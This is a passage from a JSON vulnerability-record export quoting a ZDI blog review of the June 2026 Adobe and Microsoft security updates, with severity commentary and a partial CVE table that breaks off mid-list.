kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.\nMoving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it\u2019s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.\nThere are more than 60 Elevation of Privilege (EoP) bugs in this month\u2019s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server\u2019s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows \u201celevated\u201d privileges without really describing what elevated might be. \nMoving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself \u2014 specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls. \nTurning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It\u2019s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.\nThere are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could \u201cdisclose information over a network.\u201d How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.\nI\u2019ve never been a fan of the \u201ctampering\u201d category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn\u2019t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.\nThere are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated \"Exploitation More Likely,\" and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It\u2019s usually a big release, so strap in and hang on. I\u2019ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!\n ", "creation_timestamp": "2026-06-09T16:12:18.000000Z"}, {"uuid": "9bae81aa-9f20-416d-b5a0-96a07df95e82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48570", "type": "seen", "source": "https://www.thezdi.com/blog/2026/6/9/the-june-2026-security-update-review", "content": "I\u2019ve made it through Pwn2Own Berlin, had a little vacation, and now I\u2019m back for Patch Tuesday. Microsoft and Adobe didn\u2019t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for June 2026\nFor May, June released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n    \n\n\n\n<colgroup>\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n</colgroup>\n\n<tfoot>\n  \n</tfoot>\n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-66\n    Adobe Campaign Classic\n    2\n    Critical\n    10.0\n    No\n    1\n  \n  \n    APSB26-64\n    Adobe ColdFusion\n    7\n    Critical\n    9.6\n    No\n    1\n  \n  \n    APSB26-63\n    Adobe Acrobat Reader\n    20\n    Critical\n    7.8\n    No\n    2\n  \n  \n    APSB26-57\n    Adobe Experience Manager Forms\n    3\n    Critical\n    9.3\n    No\n    2\n  \n  \n    APSB26-62\n    Adobe Dreamweaver\n    5\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-65\n    Adobe Format Plugins\n    2\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-59\n    Adobe InCopy\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-58\n    Adobe InDesign\n    12\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-60\n    Adobe Substance 3D Sampler\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-61\n    Content Credentials SDK\n    8\n    Critical\n    7.5\n    No\n    3\n  \n  \n    APSB26-56\n    Adobe Experience Manager\n    57\n    Important\n    5.4\n    No\n    3\n  \n\n    TOTAL\n    11 bulletins\n    123\n    \n    \n    \n    \n  \n\n\n\n  \n\n\n\n\n  \nObviously, the update for Campaign Classic should be on the top of your deployment list if you\u2019re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it\u2019s mostly just cross-site scripting (XSS) bugs.\nMicrosoft Patches for June 2026\nThis month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that\u2019s my count. Microsoft\u2019s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.\nOne of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.\nI\u2019ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW \u2013 just a note \u2013 the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.\nOne of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let\u2019s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.\n-   CVE-2026-41091 - Microsoft Defender Elevation of Privilege VulnerabilitySince Microsoft doesn\u2019t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won\u2019t need to take action as Defender updates itself. However, if you don\u2019t have this configured or are in an isolated environment, you\u2019ll need to update to the latest version.\n-    CVE-2026-45657 - Windows Kernel Remote Code Execution VulnerabilityThis CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup \u2013 this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as \u201cExploitation Less Likely\u201d by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.\n-    CVE-2026-47291 - HTTP.sys Remote Code Execution VulnerabilityOur second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as \u201cExploitation more likely\u201d, so I would definitely check your registry settings.\n-    CVE-2026-44815 - DHCP Client Service Remote Code Execution VulnerabilityHere\u2019s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an \u201cauthenticated\u201d user. I would err on the side of caution here and believe the CVSS. If that\u2019s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it\u2019s a juicy target. This is another one to test and deploy with haste.\n-    CVE-2026-45585/CVE-2026-50507 - Windows BitLocker Security Feature Bypass VulnerabilityIf you\u2019ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for \u201cYellowKey\u201d, while the other appears to be a fix for \u201cGreenPlasma\u201d. The researcher has promised a \u201cbone shattering\u201d drop on June 14, so let\u2019s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.\n Here\u2019s the full list of CVEs released by Microsoft for June 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n <col width=\"144\" />\n <col width=\"256\" />\n <col span=\"6\" width=\"104\" />\n \n\n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  XI\n  Type\n \n \n  <span>CVE-2026-41091</span>\n  Microsoft Defender\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  Yes\n  Yes\n  0\n  EoP\n \n \n  <span>CVE-2026-49160</span>\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  Yes\n  No\n  1\n  DoS\n \n \n  <span>CVE-2026-50507</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.8\n  Yes\n  No\n  1\n  SFB\n \n \n  <span>CVE-2026-45586</span>\n  Windows Collaborative\n  Translation Framework (CTFMON) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  Yes\n  No\n  1\n  EoP\n \n \n  <span>CVE-2025-10263 *</span>\n  ARM: CVE-2025-10263\n  Completion of affected memory accesses might not be guaranteed by completion\n  of a TLBI [kernel]\n  Critical\n  9.3\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48567</span>\n  Azure HorizonDB<span>  </span>Elevation of Privilege Vulnerability\n  Critical\n  10\n  No\n  No\n  N/A\n  EoP\n \n \n  <span>CVE-2026-32193</span>\n  Azure Kubernetes\n  Service (AKS) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-47644</span>\n  Copilot Chat\n  (Microsoft Edge) Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44815</span>\n  DHCP Client Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47291</span>\n  HTTP.sys Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-42824</span>\n  M365 Copilot\n  Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-45476</span>\n  Microsoft Azure\n  Network Adapter Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44810</span>\n  Microsoft\n  Cryptographic Services Elevation of Privilege Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48579</span>\n  Microsoft Exchange\n  Online Information Disclosure Vulnerability\n  Critical\n  9.1\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-47655</span>\n  Microsoft Graph\n  Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-45497</span>\n  Microsoft M365 Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  7.7\n  No\n  No\n  N/A\n  RCE\n \n \n  <span>CVE-2026-45460</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Critical\n  4.7\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45472</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45474</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45461</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45463</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45456</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45458</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47635</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-26142</span>\n  Nuance PowerScribe\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47289</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47654</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-48563</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42992</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44799</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44801</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42985</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-45648</span>\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42987</span>\n  Windows Deployment\n  Services (WDS) Remote Code Execution\n  Critical\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-33828</span>\n  Windows Device Health\n  Attestation (DHA) Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-44803</span>\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-44812</span>\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-45607</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45641</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47652</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.2\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47288</span>\n  Windows Kerberos Key\n  Distribution Center (KDC) Remote Code Execution\n  Critical\n  7.1\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-45657</span>\n  Windows Kernel Remote\n  Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-48574</span>\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45490</span>\n  .NET SDK Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45491</span>\n  .NET Tampering\n  Vulnerability\n  Important\n  6.2\n  No\n  No\n  3\n  Tampering\n \n \n  <span>CVE-2026-45591</span>\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-47643</span>\n  Azure Stack Edge\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-41098</span>\n  Azure Stack Edge\n  Spoofing Vulnerability\n  Important\n  8.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45642</span>\n  Microsoft Azure\n  Attestation service and Device Health Attestation Service Spoofing\n  Vulnerability\n  Important\n  3.9\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45650</span>\n  Microsoft Bing Search\n  Spoofing Vulnerability\n  Important\n  4.3\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45637</span>\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45647</span>\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-40371</span>\n  Microsoft Dynamics 365\n  (on-premises) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44822</span>\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45455</span>\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45469</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44817</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-44818</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44820</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44823</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45459</span>\n  Microsoft Excel\n  Security Feature Bypass Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45504</span>\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45502</span>\n  Microsoft Exchange\n  Server Information Disclosure Vulnerability\n  Important\n  5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45503</span>\n  Microsoft Exchange\n  Server Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45583</span>\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45500</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  6.1\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45501</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47631</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-42986</span>\n  Microsoft Graphics\n  Component Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-41092</span>\n  Microsoft Kinect\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45644</span>\n  Microsoft Live Share\n  Canvas SDK Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47293</span>\n  Microsoft Office\n  Click-To-Run Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45485</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44821</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45483</span>\n  Microsoft Office\n  Project Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45475</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44819</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44824</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45645</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-49161</span>\n  Microsoft PC Manager\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  SFB\n \n \n  <span>CVE-2026-42902</span>\n  Microsoft PowerToys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45484</span>\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45454</span>\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47298</span>\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45467</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45468</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45479</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45453</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47636</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47637</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47638</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47639</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-47641</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-33113</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45462</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45464</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45465</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47634</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-47640</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-45481</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-48560</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-48562</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-42835</span>\n  Microsoft Teams for\n  Android Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45606</span>\n  Microsoft UxTheme\n  Library (uxtheme.dll) Denial of Service Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-45482</span>\n  Microsoft Visual\n  Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability\n  Important\n  8.4\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45466</span>\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45471</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45486</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45643</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45457</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42980</span>\n  